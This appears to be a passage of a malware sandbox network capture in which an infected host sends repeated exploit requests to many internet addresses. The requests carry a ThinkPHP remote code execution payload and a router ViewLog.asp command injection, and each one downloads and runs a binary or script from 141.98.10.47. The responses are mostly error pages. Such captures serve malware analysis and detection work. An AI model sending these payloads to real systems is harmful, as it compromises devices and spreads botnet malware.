Dec 26, 2023 21:24:27.411947012 CET	319	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.23	48094	94.120.217.11	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:24.302094936 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.23	38600	31.30.179.163	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:24.302651882 CET	1286	IN	HTTP/1.1 400 Bad Request Server: ZTE web server 1.0 ZTE corp 2015. Accept-Ranges: bytes Connection: close X-Frame-Options: SAMEORIGIN Content-Type: text/html; charset=iso-8859-1 X-Content-Type-Options: nosniff Cache-Control: no-cache,no-store Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 46 46 46 46 46 46 22 20 74 65 78 74 3d 22 23 30 30 30 30 30 30 22 20 6c 69 6e 6b 3d 22 23 32 30 32 30 66 66 22 20 76 6c 69 6e 6b 3d 22 23 34 30 34 30 63 63 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0a 59 6f 75 72 20 72 65 71 75 65 73 74 20 68 61 73 20 62 61 64 20 73 79 6e 74 61 78 20 6f 72 20 69 73 20 69 6e 68 65 72 65 6e 74 6c 79 20 69 6d 70 6f 73 73 69 62 6c 65 20 74 6f 20 73 61 74 69 73 66 79 2e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 22 3e 0a 3c 61 6a 61 78 5f 72 65 73 70 6f 6e 73 65 5f 78 6d 6c 5f 72 6f 6f 74 3e 0a 3c 49 46 5f 45 52 52 4f 52 53 54 52 3e 53 65 73 73 69 6f 6e 54 69 6d 65 6f 75 74 3c 2f 49 46 5f 45 52 52 4f 52 53 54 52 3e 0a 3c 49 46 5f 45 52 52 4f 52 50 41 52 41 4d 3e 53 55 43 43 3c 2f 49 46 5f 45 52 52 4f 52 50 41 52 41 4d 3e 0a 3c 49 46 5f 45 52 52 4f 52 54 59 50 45 3e 53 55 43 43 3c 2f 49 46 5f 45 52 52 4f 52 54 59 50 45 3e 0a 3c 2f 61 6a 61 78 5f 72 65 73 70 6f 6e 73 65 5f 78 6d 6c 5f 72 6f 6f 74 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 Data Ascii: <html> <head><title>400 Bad Request</title></head> <body bgcolor="#FFFFFF" text="#000000" link="#2020ff" vlink="#4040cc"> <h2>400 Bad Request</h2>Your request has bad syntax or is inherently impossible to satisfy.<div style="display:none"><ajax_response_xml_root><IF_ERRORSTR>SessionTimeout</IF_ERRORSTR><IF_ERRORPARAM>SUCC</IF_ERRORPARAM><IF_ERRORTYPE>SUCC</IF_ERRORTYPE></ajax_response_xml_root><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span><span>Padding so that MSIE deigns to show this error instead of its

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.23	36480	88.221.66.89	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:27.054660082 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:27.303772926 CET	477	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 255 Expires: Tue, 26 Dec 2023 20:23:27 GMT Date: Tue, 26 Dec 2023 20:23:27 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 33 64 30 65 30 38 63 33 26 23 34 36 3b 31 37 30 33 36 32 32 32 30 37 26 23 34 36 3b 61 31 31 39 39 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.3d0e08c3.1703622207.a1199</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.23	36166	88.99.224.93	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:27.059277058 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:28.348264933 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:28.595931053 CET	504	IN	HTTP/1.1 400 Bad Request Date: Tue, 26 Dec 2023 20:23:28 GMT Server: Apache/2.4.18 (Ubuntu) Content-Length: 310 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 38 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6d 61 69 6c 31 2e 73 61 75 65 72 2d 63 73 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.18 (Ubuntu) Server at mail1.sauer-cs.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.23	46312	88.248.2.123	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:27.107343912 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.23	50492	88.79.225.174	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:27.307491064 CET	319	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:27.554867029 CET	295	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 26 Dec 2023 20:23:27 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.23	48540	88.221.164.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:27.342267990 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:27.569550991 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Tue, 26 Dec 2023 20:23:27 GMT Date: Tue, 26 Dec 2023 20:23:27 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 31 31 62 31 31 37 30 32 26 23 34 36 3b 31 37 30 33 36 32 32 32 30 37 26 23 34 36 3b 32 31 31 34 61 36 65 35 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.11b11702.1703622207.2114a6e5</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.23	37136	85.69.25.145	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:27.845865965 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:23:31.099880934 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:23:37.242990017 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:23:49.273296118 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:15.125683069 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:04.270781040 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.23	37640	95.67.102.17	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:27.882358074 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:23:28.151381016 CET	445	IN	HTTP/1.1 401 Unauthorized Date: Tue, 26 Dec 2023 20:23:27 GMT Server: Boa/0.94.14rc21 Accept-Ranges: bytes Content-encoding: gzip Connection: close WWW-Authenticate: Basic realm="WF2780" user" Content-Type: text/html; charset=ISO-8859-1 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 31 20 55 6e 61 75 74 68 6f 72 69 7a 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 31 20 55 6e 61 75 74 68 6f 72 69 7a 65 64 3c 2f 48 31 3e 0a 59 6f 75 72 20 63 6c 69 65 6e 74 20 64 6f 65 73 20 6e 6f 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 67 65 74 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 66 72 6f 6d 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>401 Unauthorized</TITLE></HEAD><BODY><H1>401 Unauthorized</H1>Your client does not have permission to get URL /cgi-bin/ViewLog.asp from this server.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.23	58362	31.200.95.195	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:27.889914989 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.23	40864	95.131.48.136	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:28.056704044 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:28.308444023 CET	355	IN	HTTP/1.1 400 Bad Request Server: nginx/1.10.3 (Ubuntu) Date: Tue, 26 Dec 2023 20:23:28 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 30 2e 33 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.10.3 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.23	40610	95.165.146.112	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:28.092957020 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:28.382682085 CET	355	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Tue, 26 Dec 2023 20:23:28 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.23	44994	31.136.20.35	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:28.129998922 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
